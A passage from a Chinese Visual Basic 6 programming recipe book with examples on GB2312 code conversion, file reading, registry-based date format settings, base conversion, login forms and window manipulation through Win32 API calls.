其实这两个表是同一回事，只不过一个使用十六进制分区表示，一个使用区位所在的数字位置表示。例如，“好”字的十六进制区位码是ba c3，前两位是区域，后两位代表位置，ba处在第26区，“好”处在此区汉字的第35位也就是c3位置，所以数字代码就是2635。这就是GB2312汉字区位原理。根据《汉字区位码表》可以发现第15区也就是AF区以前都没有汉字，只有少量符号，汉字都从第16区B0开始，这就是为什么GB2312字符集都是从16区开始的。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在窗体上添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption属性为“转”；Command2的Caption属性为“转”。

（3）添加两个Frame控件，分别命名为Frame1、Frame1。Frame1的Caption属性为“将汉字转换为区位码”；Frame2的Caption属性为“输入区位码转换为汉字”。

（4）添加两个Label控件，分别命名为Label1、Label12。Label1的AutoSize属性为True，Caption属性为“输入单个汉字”。Label2的AutoSize属性为True，Caption属性为“输入区位码：”。

（5）添加4个TextBox控件，分别命名为Text1、Text2、Text3、Text4。

（6）主要程序代码如下：



Private Sub Command1_Click()
  On Error GoTo err1
  Dim QW
  Dim Q As Integer, W As Integer
  Dim Inputstr As String
  Inputstr = Text1.Text
  QW = Hex(Asc(Inputstr))
  Q = CInt("&h" + Mid(QW, 1, 2))
  W = CInt("&h" + Mid(QW, 3, 2))
  Text2.Text = Format(Q - 160, "00") & " " & Format(W - 160, "00")
  Exit Sub
err1:
  MsgBox Err.Description, , "明日图书"
End Sub
Private Sub Command2_Click()
  On Error GoTo err2
  Dim barr(1) As Byte
  Dim sMe As String
  barr(0) = CInt(Mid(Text3.Text, 1, 2)) + 160
  barr(1) = CInt(Mid(Text3.Text, 3, 4)) + 160
  sMe = StrConv(barr, vbUnicode)
  Text4.Text = sMe
  Exit Sub
err2:
  MsgBox Err.Description, , "明日图书"
End Sub




秘笈心法

心法领悟222：Input函数的使用技巧。

使用Input函数来一次读文件中的一个字符，并将其数据显示到立即窗口中。



Dim MyChar
Open "D:\我的文件夹\我的文件.txt" For Input As #1   '打开文件
Do While Not EOF(1)   '循环至文件尾
      MyChar = Input(1, #1)       '读入一个字符
      Debug.Print MyChar       '显示到立即窗口
Loop
Close #1   '关闭文件




使用Input函数读取文本文件中的前20个字符，并将其通过对话框显示出来。



Dim Chars
Open App.Path & "\祝福.txt" For Input As #1   '打开文件
   Chars = Input(20, #1)   '读入一个字符
   MsgBox Chars
Close #1   '关闭文件




通过变量获取要从文本文件中读取字符的数量，然后用Input函数进行读取。



Dim Chars
Dim Numbers As Integer
Open App.Path & "\祝福.txt" For Input As #1   '打开文件
   Numbers = FileLen(App.Path & "\祝福.txt")
   Chars = Input(Numbers / 2, #1) '读入一个字符
   MsgBox Chars
Close #1   '关闭文件






 实例223　通过程序设置系统日期和时间的格式

光盘位置：光盘\MR\07\223

中级

趣味指数：[image: ]




实例说明

在设计某些程序时，程序中真正显示的日期和时间的格式会因计算机上的区域设置的不同而有所差异，因而给程序运行带来不便，有时还会引起错误。本实例将实现在程序中设置系统日期和时间的格式，以使其符合程序设计要求的功能。运行程序，选择需要的日期或时间格式，单击相应的命令按钮，注销或重新启动计算机后，系统桌面的右下角便会看到需要的日期或时间格式，如图7.28所示。

[image: ]
图7.28　在程序中改变日期和时间格式



关键技术

注册表的HKEY_CURRENT_USER\Control Panel\International的子项中的sLongDate表示长日期格式、sShortDate表示短日期格式、sTimeFormat表示系统时间的显示格式。

在程序中，使用RegSetValueEx函数可以设置它们的值，从而改变系统日期和时间的格式。RegSetValueEx函数的介绍如下。

RegSetValueEx函数的功能为在一个注册表项下设置一个指定值的数据和类型，函数声明如下：



Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved
As Long,ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long




RegSetValueEx函数的参数说明如表7.13所示。

表7.13　RegSetValueEx函数的参数说明



	参 数
	类 型
	说明



	hKey
	Long
	当前打开项的句柄，或者是一个预定义的标准句柄之一



	lpValueName
	String
	要设置的值的名称



	Reserved
	Long
	未用，设置为0



	dwType
	Long
	要设置的值的数据类型



	lpData
	Any
	要设置的值的数据



	cbData
	Long
	数据（lpData参数）的长度




下面介绍如何在Visual Basic中添加API函数。

（1）加载API阅览器。选择“外接程序”/“外接程序管理器”命令，在弹出的对话框中选中VB 6 API Viewer复选框，在“加载行为”选项中选择“在启动中加载”和“加载/卸载”选项，选择完毕后，单击“确定”按钮。

（2）添加API函数。步骤（1）操作完成后，在“外接程序”菜单下将出现“API浏览器”命令，选择该命令将出现“API阅览器”对话框。在“API类型”列表中可选择需要的类型；在“键入您要查找的内容的开头几个字母”文本框中可以输入要查找的API函数，最后单击“添加”按钮，即可将此函数添加到代码窗口中。


注意：
 如果将函数声明的代码插入到窗体代码窗口的声明部分，则该代码前应加上Private。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_sz。

（2）在main_sz窗体上添加3个Frame控件，默认的“名称”属性分别为Frame1、Frame2和Frame3。

（3）在Frame1控件中添加一个Label控件和一个ComboBox控件。

（4）在Frame2控件中添加一个Label控件和一个ComboBox控件。

（5）在Frame3控件中添加一个ComboBox控件。

（6）在main_sz窗体上添加3个CommandButton控件，设置“名称”属性分别为cmdSDate、cmdLDate和cmdTime。

（7）主要程序代码如下：



Const REG_SZ = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _
   "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _
   phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
   "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
   ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _
   ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Sub Form_Load()
  '短日期格式列表
  Combo1.AddItem "yyyy-M-d"
  Combo1.AddItem "yy-M-d"
  Combo1.AddItem "yy-MM-dd"
  Combo1.AddItem "yyyy-MM-dd"
  Combo1.ListIndex = 3
  '长日期格式列表
  Combo2.AddItem "yyyy年M月d日"
  Combo2.AddItem "yyyy MM dd"
  Combo2.AddItem "dddd yyyy MM dd"
  Combo2.AddItem "dddd yyyy年M月d日"
  Combo2.ListIndex = 0
  '时间格式列表
  Combo3.AddItem "H点mm分"
  Combo3.AddItem "H:mm:ss"
  Combo3.AddItem "HH:mm:ss"
  Combo3.AddItem "tt h:mm:ss"
  Combo3.AddItem "tt hh:mm:ss"
  Combo3.ListIndex = 0
End Sub
Private Sub cmdSDate_Click()
 Dim ret2 As Long
 Dim sd As String
 ret2 = RegOpenKey(HKEY_CURRENT_USER, "Control Panel\International", hKey)
 If ret2 = 0 Then
   sd = Combo1.Text
   RegSetValueEx hKey, "sShortDate", "0", REG_SZ, ByVal sd, LenB(StrConv(sd, vbFromUnicode))
   MsgBox "日期格式已设置成功，重新启动计算机或注销后可以看到新的短日期格式！", , "提示窗口"
 End If
End Sub
Private Sub cmdLDate_Click()
 Dim ret3 As Long
 Dim ld As String
 ret3 = RegOpenKey(HKEY_CURRENT_USER, "Control Panel\International", hKey)
 If ret3 = 0 Then
   ld = Combo2.Text
   RegSetValueEx hKey, "sLongDate", "0", REG_SZ, ByVal ld, LenB(StrConv(ld, vbFromUnicode))
   MsgBox "日期格式已设置成功，重新启动计算机或注销后可以看到新的长日期格式！", , "提示窗口"
 End If
End Sub
Private Sub cmdTime_Click()
  Dim ret1 As Long
  Dim t As String
  ret1 = RegOpenKey(HKEY_CURRENT_USER, "Control Panel\International", hKey)
  If ret1 = 0 Then
    t = Combo3.Text
    RegSetValueEx hKey, "sTimeFormat", "0", REG_SZ, ByVal t, LenB(StrConv(t, vbFromUnicode))
    MsgBox "时间格式已设置成功，重新启动计算机或注销后可以看到新的时间格式！", , "提示窗口"
  End If
End Sub




秘笈心法

心法领悟223：Seek函数的使用技巧。

下面使用Seek函数来返回当前文件位置。示例中假设"D:\我的文件夹\我的文件.txt"文件内含有用户自定义数据类型Record的记录。



Type Record   '定义用户自定义数据类型
   ID As Integer
   Name As String * 20
End Type
'如果以随机方式打开文件，Seek 返回下一个记录的编号
Dim MyRecord As Record   '声明变量
Open "D:\我的文件夹\我的文件.txt" For Random As #1 Len = Len(MyRecord)
Do While Not EOF(1)   '循环至文件尾
        Get #1, , MyRecord       '读入下一个记录
        Debug.Print Seek(1)       '在立即窗口中显示记录号
Loop
Close #1   '关闭文件






 实例224　进制转换

光盘位置：光盘\MR\07\224

高级

趣味指数：[image: ]




实例说明

人类自进入计算机时代后，二进制、八进制、十进制及十六进制数字系统已逐渐被越来越多的人所熟悉。各进制数字系统间的转换在日常生活中越来越常见。例如，将以十进制表示的数值787转换为二进制、八进制和十六进制数字系统下的8位商品条形码，以便于计算机识别。运行程序，在十进制文本框中输入数值，单击“转换”按钮，转后的数据将显示在各个文本框中，如图7.29所示。

[image: ]
图7.29　进制转换



关键技术

利用Visual Basic提供的内部函数可以很方便地实现二进制、八进制、十进制和十六进制数值之间的转换。

用于进制转换的函数及其说明如表7.14所示。

表7.14　用进制转换的函数及其说明



	函数
	说明



	Hex
	将数值转换为十六进制数值的字符串



	Oct
	将数值转换为八进制数值的字符串



	CLng
	将任意数值、数值字符转换为十进制的长整型数



	CInt
	将任意数值、数值字符转换为十进制的整型数




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加4个Label控件、4个TextBox控件和一个CommandButton控件。设置TextBox控件的“名称”属性分别为txtDec、txtBin、txtOct和txtHex。

（3）主要程序代码如下：



Private Sub Command1_Click()
  DEC = Val(txtDec.Text)
  copied = DEC + 1
  maxbit = 32
10   If DEC < 2 ^ (maxbit - 1) Then Let maxbit = maxbit - 1: GoTo 10
  ReDim Bin$(maxbit)
  For T = maxbit To 1 Step -1
      If copied > 2 ^ (T - 1) Then
          copied = copied - (2 ^ (T - 1))
          Bin$(T) = "1"
      Else
          Bin$(T) = "0"
      End If
  Next T
  Let Binary$ = ""
  For T = maxbit To 1 Step -1
     Let Binary$ = Binary$ + Bin$(T)
  Next T
  If Len(Binary$) < 8 Then
     txtBin.Text = Format(Binary$, "00000000")
  Else
     txtBin.Text = Left(Binary$, 8)
  End If
  txtOct = Format(Oct(txtDec), "00000000")
  txtHex = Format(Hex(txtDec), "00000000")
End Sub




秘笈心法

心法领悟224：Tab函数的使用技巧。

使用Tab函数确定在文件或立即窗口的输出位置。



' Tab 函数可以和 Print # 语句一起使用
Open "TESTFILE" For Output As #1   '打开输出文件
'第二个字输出到第 20列
Print #1, "Hello" : Tab(20) : "World."
'如果省略参数，游标移至下一个输出区
Print #1, "Hello" : Tab : "World"
Close #1   '关闭文件




根据变量值的改变将数字显示在窗体的不同位置上。



Dim i As Integer
For i = 0 To 10
    Print Tab(i * 10 + 1); i
Next i
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 8.1　窗体基本应用



 实例225　制作登录退出窗体

光盘位置：光盘\MR\08\225

初级

趣味指数：[image: ]




实例说明

设计两个窗体，一个窗体用于登录系统（如图8.1所示），另一个窗体为系统主窗体（如图8.2所示）。程序启动时，显示登录窗体，系统主窗体不可见，当输入用户名和密码，单击“登录”按钮后，显示系统主窗体，关闭登录窗体。在主窗体中单击“关闭系统”按钮，退出程序。



	[image: ]

	[image: ]




	图8.1　系统登录窗体
	图8.2　系统主窗体




关键技术

本实例主要利用Show方法显示被调用窗体。


说明：
 Show方法的详细讲解请参见实例162中的关键技术。

当模式值为1时，鼠标只在该窗体内起作用，不能到其他窗体操作，只有关闭该窗体后才能对其他窗体操作；当模式值为0时，可以对其他窗体进行操作。

例如，将窗体frm_mian显示为模态的，代码如下：



frm_main.Show 1




例如，将窗体frm_mian显示为非模态的，代码如下：



frm_main.Show 0




设计过程

（1）新建一个VB工程。将默认添加的窗体的名称修改为Frm_login，将Caption属性设置为“登录窗体”。

（2）在登录窗体上添加3个标签控件，分别设置Caption属性，用于标识信息。

（3）在登录窗体上添加两个文本框，设置Text2的PassWord属性为*，使输入密码时以*覆盖。

（4）在登录窗体上添加两个命令按钮，分别设置Caption属性为“登录”和“退出”。

（5）在工程工具栏中单击添加窗体按钮，添加一个窗体到工程中。设置窗体的名称为Frm_main，Caption属性为客户管理系统，作为系统的主窗体。

（6）在主窗体上添加一个命令按钮，设置Caption属性为“关闭系统(&X)”。

（7）主要程序代码如下：



Private Sub Command1_Click()
    If Text1.Text = "" Or Text2.Text = "" Then
        MsgBox "用户名或密码不能为空", vbCritical, "信息提示"
        Exit Sub
    Else
        If Text1.Text = "TSoft" And Text2.Text = "111" Then
            Frm_Main.Show
            Unload Me
        Else
            MsgBox "输入的用户名或密码不正确", vbCritical, "信息提示"
        End If
    End If
End Sub




秘笈心法

心法领悟225：使用模板新建一个登录窗体。

VB开发环境自带了一些模板，使用这些模板可以根据模板快速地创建窗体。打开添加窗体对话框，在列表中选择“登录对话框”选项即可根据模板创建一个登录对话框。



 实例226　利用Tag属性存储用户名

光盘位置：光盘\MR\08\226

初级

趣味指数：[image: ]




实例说明

一般的应用程序使用用户名登录后，在主窗体中都会显示当前用户名。本实例实现在正确登录主窗体后在主窗体显示当前的登录用户名，程序的运行效果如图8.3所示。

[image: ]
图8.3　在主窗体显示当前用户



关键技术

本实例使用窗体的Tag属性存储当前用户名。该属性返回或设置一个表达式，它存储程序需要的额外数据。与其他属性不同，Visual Basic不使用Tag属性的值；可用该属性识别对象，语法如下：



object.Tag
object.Tag [= expression]




参数说明

❶ object：对象表达式，这里是一个窗体名称。

❷ expression：识别对象的字符串表达式。默认值是一个零长度的字符串("")。

设计过程

（1）新建一个VB工程。将默认添加的窗体的名称修改为Frm_login，将Caption属性设置为“客户管理系统”。

（2）在登录窗体上添加3个标签控件，分别设置Caption属性，用于标识信息。

（3）在登录窗体上添加两个文本框，设置Text2的PassWord属性为*，使输入密码时以*覆盖。

（4）在登录窗体上添加两个命令按钮，分别设置Caption属性为“登录”和“退出”。

（5）在工程工具栏中单击添加窗体按钮，添加一个窗体到工程中。设置窗体的名称为Frm_main，Caption属性为客户管理系统，作为系统的主窗体。

（6）在主窗体上添加一个命令按钮，设置Caption属性为“关闭系统(&X)”，添加一个标签控件。

（7）主要程序代码如下：



Private Sub Command1_Click()
    If Text1.Text = "" Or Text2.Text = "" Then
        MsgBox "用户名或密码不能为空", vbCritical, "信息提示"
        Exit Sub
    Else
        If Text1.Text = "TSoft" And Text2.Text = "111" Then
            Me.Tag = Text1.Text
            Frm_Main.Show 1
            Unload Me
        Else
            MsgBox "输入的用户名或密码不正确", vbCritical, "信息提示"
        End If
    End If
End Sub
Private Sub Form_Load()
    Label1.Caption = "欢迎" & Frm_login.Tag & "使用本系统！"
End Sub




秘笈心法

心法领悟226：设置启动对象。

当应用程序中有多个窗体时，要先设置启动对象，即程序运行时第一个启动的开始窗体。系统默认窗体名为Form1的窗体为开始窗体，如要指定其他窗体为开始窗体，应使用工程菜单中的属性命令进行设置。



 实例227　控件随窗体自动调整

光盘位置：光盘\MR\08\227

初级

趣味指数：[image: ]




实例说明

开发软件时，为了使程序更人性化，当用户调整界面大小时，窗体上的控件也要随着窗体大小而进行调整，否则会使程序界面不协调。本程序实现控件随窗体自动调整的功能。运行程序，调整窗体大小，窗体中的控件也会随之改变，程序的运行效果如图8.4所示。

[image: ]
图8.4　控件随窗体自动调整程序界面



关键技术

本实例通过在窗体的Resize事件添加代码对控件的位置和大小进行调整来实现控件随窗体大小进行调整的功能。当一个对象第一次显示或当一个对象的窗口状态改变时Resize事件发生（如一个窗体被最大化、最小化或被还原）。

当父窗体调整大小时，可用Resize事件过程来移动控件或调整其大小。也可用此事件过程来重新计算那些变量或属性，如ScaleHeight和ScaleWidth等，它们取决于该窗体的尺寸。如果在调整大小时想要保持图形的大小与窗体的大小成比例，可在一个Resize事件中通过使用Refresh方法调用Paint事件。

任何时候只要AutoRedraw属性被设置为False而且窗体被调整大小，Visual Basic也会按Resize和Paint的顺序调用相关的事件。当给这些相关事件附加过程时，要确保它们的操作不会互相冲突。

本实例设置控件位置的主要代码如下：



Image1(i).Left = Image1(0).Left + myint * 1620
Image1(i).Top = Image1(0).Top + myheght * 1425




设计过程

（1）新建一个VB工程。将窗体的Caption属性设置为“控件随窗体自动调整”。

（2）在窗体上添加一个DriveListBox控件、一个DirListBox控件和一个FileListBox控件。

（3）在窗体上添加一个Image控件。

（4）主要程序代码如下：



Private Sub Form_Resize()
    Dim x, y As Long
    x = Form1.Width - 200 - Frame1.Width - Image1.Width
    y = (Frame1.Height - Drive1.Height - Drive1.Top - 200)
    Frame1.Width = Frame1.Width + x / 2
    Image1.Left = Frame1.Left + Frame1.Width + 100
    Image1.Width = Image1.Width + x / 2
    Image1.Height = Me.Height - 600
    Frame1.Height = Image1.Height
    Dir1.Width = Frame1.Width - 280
    File1.Width = Dir1.Width
    Drive1.Width = Dir1.Width
    Dir1.Height = y / 3
    File1.Top = Dir1.Top + Dir1.Height + 100
    File1.Height = 2 / 3 * y
End Sub




秘笈心法

心法领悟227：窗体的卸载与隐藏。

加载窗体将占用一部分内存，对于不再使用的窗体应该及时卸载。卸载所使用的语句格式如下：



Unload 窗体名




如果不想将窗体卸载而是暂时隐藏起来，可以使用窗体的Hide方法。


注意：
 如果用Unload语句卸载全部窗体，程序将停止执行。Hide方法使窗体隐藏，即不在屏幕上显示，但仍在内存中。

Hide方法的语法如下：



窗体名称.Hide




如果省略窗体名，则带有焦点的窗体就是被隐藏的窗体。



 实例228　随机更换主界面背景

光盘位置：光盘\MR\08\228

中级

趣味指数：[image: ]




实例说明

在一些管理软件中实现随机更换主界面背景可以增加软件的人性化程度，使用户心情愉悦。本实例实现随机更换主界面的功能，每次运行程序主界面背景图片随机显示，程序的运行效果如图8.5所示。

[image: ]
图8.5　随机更换主界面背景



关键技术

随机更换主界面背景使用了Rnd函数。

Rnd函数返回一个包含随机数值的Single，语法如下：



Rnd[(number)]




参数说明

number：可选参数。number参数是Single或任何有效的数值表达式。

如果number的值由Rnd生成；小于0每次都使用number作为随机数种子得到的相同结果；大于0序列中的下一个随机数；等于0最近生成的数；省略序列中的下一个随机数。

Rnd函数返回小于1但大于或等于0的值；number的值决定了Rnd生成随机数的方式。

对最初给定的种子都会生成相同的数列，因为每一次调用Rnd 函数都用数列中的前一个数作为下一个数的种子。

在调用Rnd之前，先使用无参数的Randomize语句初始化随机数生成器，该生成器具有根据系统计时器得到的种子。

为了生成某个范围内的随机整数，可使用以下公式：



Int((upperbound - lowerbound + 1) * Rnd + lowerbound)




这里，upperbound是随机数范围的上限，而lowerbound则是随机数范围的下限。


注意：
 若想得到重复的随机数序列，在使用具有数值参数的Randomize之前直接调用具有负参数值的Rnd。使用具有同样number值的Randomize是不会得到重复的随机数序列的。

设计过程

（1）新建一个VB工程。将窗体的Caption属性设置为“通用钢材管理系统——门店版”。

（2）为窗体添加菜单和工具栏等。

（3）主要程序代码如下：



Private Sub Form_Activate()
    File1.Path = App.Path & "\image\"
    Randomize
    myrows = Int(3 * Rnd)
    Image1.Picture = LoadPicture(App.Path & "\image\" & File1.List(myrows))
End Sub




秘笈心法

心法领悟228：用Load语句将窗体加载到内存中。

在多窗体的应用程序中，经常需要加载窗体，这时就需要使用Load语句。Load语句用于将一个窗体装入内存。执行Load语句后，可以引用窗体中的控件及各种属性，但此时窗体是不可见的，要想使窗体可见还需要使用Show方法。



 实例229　背景为渐变色的主界面

光盘位置：光盘\MR\08\229

初级

趣味指数：[image: ]




实例说明

VB的窗体背景颜色可以通过属性进行设置，但是通过属性设置的窗体背景颜色都是单一的颜色。本实例设计一个背景颜色为渐变色的窗体。运行程序，分别在“R、G、B”文本框中输入相应的数值，选中“从上到下”或“从左到右”复选框，可以设置渐变效果和方向，效果如图8.6所示。

[image: ]
图8.6　设置窗体背景颜色为渐变色



关键技术

本实例使用Line方法在窗体中画出不同颜色的填充矩形，从而实现背景渐变的效果。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个VB工程。

（2）创建企业综合信息管理系统的窗体界面。

（3）在窗体上添加一个Frame控件，设置其Caption属性为“请输入颜色值”。

（4）在Frame控件上添加3个标签控件、3个文本框和两个复选框。文本框分别设置为红、绿、蓝3种背景色。设置复选框Caption属性分别为“从上到下”和“从左到右”。

（5）主要程序代码如下：



Sub rgbtop(red, Green, Blue, aspect As Boolean)              '从上到下或从下到上渐变
    Dim a, i, x, y, y1, x1 As Integer
    a = (Me.Height / 100)                             '设置渐变变化趋势
    If aspect = True Then                             '渐变方向
        y = 0                                    '设置从上到下渐变
    Else
        y = Me.Height - a                           '设置从下到上渐变
    End If
    x = 0
    x1 = Me.Width
    y1 = y
    For i = 1 To 100
        Me.Line (x, y)-(x1, y1), RGB(red, Green, Blue), BF      '产生渐变
        red = red - 5                               '红色递减
        Green = Green - 5                            '绿色递减
        Blue = Blue - 5                            '蓝色递减
        If aspect = True Then                          '渐变方向
            y = y1                                '设置从上到下渐变
        Else    
            y = y - a                              '设置从下到上渐变
        End If
        If red <= 0 Then                           '防止变量小于0
            red = 0
        End If
        If Green <= 0 Then                          '防止变量小于0
            Green = 0
        End If
        If Blue <= 0 Then                          '防止变量小于0
            Blue = 0
        End If
        y1 = y + a
    Next
End Sub




秘笈心法

心法领悟229：Line方法应用说明。

画联结的线时，前一条线的终点就是后一条线的起点。线的宽度取决于DrawWidth属性值。在背景上画线和矩形的方法取决于DrawMode和DrawStyle属性值。执行Line方法时，CurrentX和CurrentY属性被参数设置为终点。这个方法不能用于With…End With语句块。



 实例230　控制其他程序成为自己程序的子窗体

光盘位置：光盘\MR\08\230

中级

趣味指数：[image: ]




实例说明

有时为了使程序窗体更方便管理，要将程序的窗体以子窗体的形式显示在程序主窗体中。本实例实现调用其他程序时，将调用程序窗体成为自己的子窗体。运行程序后，选择“计算器”命令，调用系统计算器，并且计算器窗体成为主窗体的子窗体，程序的运行效果如图8.7所示。

[image: ]
图8.7　控制其他程序成为自己程序的子窗体



关键技术

使用GetWindowThreadProcessId函数可以控制其他程序成为自己程序的子窗体。GetWindowThreadProcessId函数用于获取与指定窗口关联在一起的一个进程和线程标识符，语法如下：



Public Declare Function GetWindowThreadProcessId Lib "user32" Alias "GetWindowThreadProcessId" (ByVal hwnd As Long, lpdwProcessId As Long) As Long




参数说明

❶ hwnd：Long，指定窗口句柄。

❷ lpdwProcessId：Long，指定一个变量，用于装载拥有那个窗口的一个进程的标识符。

返回值：Long，拥有窗口的线程的标识符。

设计过程

（1）新建一个VB工程。

（2）创建明日医药进销存管理系统的窗体界面。

（3）主要程序代码如下：



Private Sub m21_Click()
    Dim reval
    reval = Shell("CALC.EXE", 1)
    newhwnd = FindWindow(ByVal 0&, ByVal 0&)                  '获取Windows句柄
    Do While newhwnd <> 0
        If GetParent(newhwnd) = 0 Then
            myvalue = GetWindowThreadProcessId(newhwnd, newexe)     '获取窗口的进程
            If newexe = reval Then
                Hwnd1& = newhwnd
                Exit Do
            End If
        End If
        newhwnd = GetWindow(newhwnd, GW_HWNDNEXT)          '获取窗口值
    Loop
    OldParent& = SetParent(Hwnd1&, Me.Hwnd)                      '指定本程序为打开程序的父窗口
End Sub




秘笈心法

心法领悟230：窗体间传递数据。

例如，可以在Form1中定义一个公有变量n，在其他窗体访问n时只需使用Form1.n即可。也可以在模块中定义一个全局的公有变量，这样工程的所有窗体都可以直接访问该变量。



 实例231　获取窗体分辨率

光盘位置：光盘\MR\08\231

初级

趣味指数：[image: ]




实例说明

在进行程序设计时，有时需要获取窗体的分辨率。本实例实现获取窗体分辨率的功能。运行程序后，单击窗体上的“获取”按钮，弹出对话框显示当前窗体分辨率，程序的运行效果如图8.8所示。

[image: ]
图8.8　获取窗体的分辨率



关键技术

API函数GetClientRect可以获取指定窗体客户区矩形的大小，用户可以在不改变窗体的度量单位的情况下轻松获得窗体的分辨率，下面介绍GetClientRect函数的使用方法，语法如下：



Public Declare Function GetClientRect Lib "user32" Alias "GetClientRect" (ByVal hwnd As Long, lpRect As RECT) As Long




参数说明

❶ hwnd：Long，欲计算大小的目标窗口。

❷ lpRect：RECT，指定一个矩形，用客户区域的大小载入（以像素为单位）。

返回值：Long，非0表示成功，0表示失败。

设计过程

（1）新建一个VB工程。将窗体的Caption属性设置为“使用API函数获取窗体的分辨率”。

（2）在窗体上添加一个CommandButton控件，将按钮的Caption属性设置为“获取”。

（3）主要程序代码如下：



Private Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Type RECT
  left As Long
  top As Long
  right As Long
  bottom As Long
End Type
Private Sub Command1_Click()
  Dim FormSize As RECT
  GetClientRect Me.hwnd, FormSize                        '获取用户区域
  MsgBox "窗体宽： " & FormSize.right - FormSize.left & " 像素" & Chr(10) & "窗体高： " & FormSize.bottom - FormSize.top & " 像素", vbOKOnly, "窗体的分辨率"
End Sub




秘笈心法

心法领悟231：窗体图片显示大小。

由于用户电脑屏幕分辨率和设置各有不同，所以程序的窗体图片在运行时显示的大小有可能会与设计时不同，这和电脑的分辨率和大字体、小字体等有关。所以在设计时最好不要将图片直接显示在窗体上，使用一个Image控件来显示图片，使图片根据Image控件大小进行伸缩，并根据程序运行时窗体大小控制Image控件大小。



 实例232　获取当前打开窗口数量

光盘位置：光盘\MR\08\232

初级

趣味指数：[image: ]




实例说明

本实例实现程序运行时获取当前程序打开的窗口数量。运行程序后，单击“打开新窗口”按钮可以打开一个新的窗口来验证本程序，程序的运行效果如图8.9所示。

[image: ]
图8.9　获得打开窗口数量



关键技术

利用DoEvents函数可以获取程序运行后当前打开窗口的数量。DoEvents函数主要用来转让程序控制权，以便让操作系统做其他事情。但是DoEvents函数会返回一个Integer，以代表Visual Basic独立版本中打开的窗体数目。

设计过程

（1）新建一个VB工程。将窗体的Caption属性设置为“获取当前打开窗口数量”。

（2）在窗体上添加一个CommandButton控件、一个标签控件和一个文本框。

（3）再创建两个窗体，分别添加相应的控件，这两个窗体用来验证程序。

（4）主要程序代码如下：



Private Sub Form_Activate()
    Text1.Text = DoEvents()
End Sub




秘笈心法

心法领悟232：DoEvents函数的作用。

DoEvents对于简化诸如允许用户取消一个已启动的过程，例如，搜寻一个文件特别有用。对于长时间过程，放弃控制权最好使用定时器或通过委派任务给ActiveX EXE部件来完成。以后，任务还是完全独立于应用程序，多任务及时间片由操作系统来处理。

小心！确保以DoEvents 放弃控制权的过程，在第一次DoEvents返回之前，不能再次被其他部分的代码调用；否则会产生不可预料的结果。此外，如果其他的应用程序可能会和本过程以不可预知的方式进行交互操作，那么也不要使用DoEvents，因为此时不能放弃控制权。



 实例233　限制调整窗口大小的最大值

光盘位置：光盘\MR\08\233

初级

趣味指数：[image: ]




实例说明

如果窗体的BorderStyle属性被设置为2-Sizeable，那么就可以调整窗口的大小。但是，出于对窗口内部控件布局的考虑，可能需要对所允许调整的最大值进行限制。本程序实现给窗口大小指定了一个最大值，当调整窗口时，不能超过最大值大小，程序的运行效果如图8.10所示。

[image: ]
图8.10　限制调整窗口的最大值



关键技术

通过对API函数GetWindowLong和SetWindowLong的使用，实现窗口函数的回调。在回调窗口函数过程中可以得到参数lParam的值，它对应MINMAXINFO结构的地址。使用API函数CopyMemory对MINMAXINFO结构中的成员进行获取以及修改，实现调整窗口大小最大值的限制。

设计过程

（1）新建一个VB工程。

（2）在工程中添加窗体，将窗体的Caption属性设置为“限制调整窗口的最大值”。

（3）主要程序代码如下：



Private Sub Form_Load()
    Dim ret As Long
    preWinProc = GetWindowLong(Me.hWnd, GWL_WNDPROC)
    ret = SetWindowLong(Me.hWnd, GWL_WNDPROC, AddressOf wndproc)
End Sub
Public Function wndproc(ByVal hWnd As Long, ByVal Msg As Long, _
                        ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim lwd As Long, hwd As Long
    If Msg = WM_GETMINMAXINFO Then
        Dim maxmin As MINMAXINFO
        CopyMemory maxmin, ByVal lParam, Len(maxmin)
        maxmin.ptMaxTrackSize.x = 500                        '设定最大Resize的宽度
        maxmin.ptMaxTrackSize.y = 400                         '设定最大Resize的高度
        CopyMemory ByVal lParam, maxmin, Len(maxmin)
    End If
    wndproc = CallWindowProc(preWinProc, hWnd, Msg, wParam, lParam)
End Function




秘笈心法

心法领悟233：窗体中容纳的最大控件数量。

在VB 6.0中，一个窗体能够容纳的最大控件数量是254个，即一个窗体上最多只能添加254个控件。也可以认为算上窗体本身，一个窗体能够容纳255个对象。



 实例234　整个窗体铺满图片

光盘位置：光盘\MR\08\234

初级

趣味指数：[image: ]




实例说明

在Windows中，将墙纸的显示方式设置为“平铺”，一张小小的图片就可以铺满整个桌面。开发程序时，可以使用PaintPicture方法把一张小的图片铺满整个窗体。例如，将公司图标铺满整个窗体，如图8.11所示。

[image: ]
图8.11　整个窗体铺满图片



关键技术

本实例使用PaintPicture方法实现在窗体上绘制图形。

PaintPicture方法用于在Form、PictureBox或Printer中绘制图形文件（.bmp、.wmf、.emf、.cur、.ico或 .dib）的内容，不支持命名参数，语法如下：



object PaintPicture picture, x1, y1, width1, height1, x2, y2, width2, height2, opcode




PaintPicture方法的部分说明如表8.1所示。

表8.1　PaintPicture方法的部分说明



	部分
	说明



	object
	可选参数。一个对象表达式。如果省略object，带有焦点的Form对象默认为object



	picture
	必选参数。要绘制到object上的图形源。Form或PictureBox必须是Picture属性



	x1, y1
	必选参数。均为单精度值，指定在object上绘制picture的目标坐标（x-轴和y-轴）。object的ScaleMode属性决定使用的度量单位



	width1
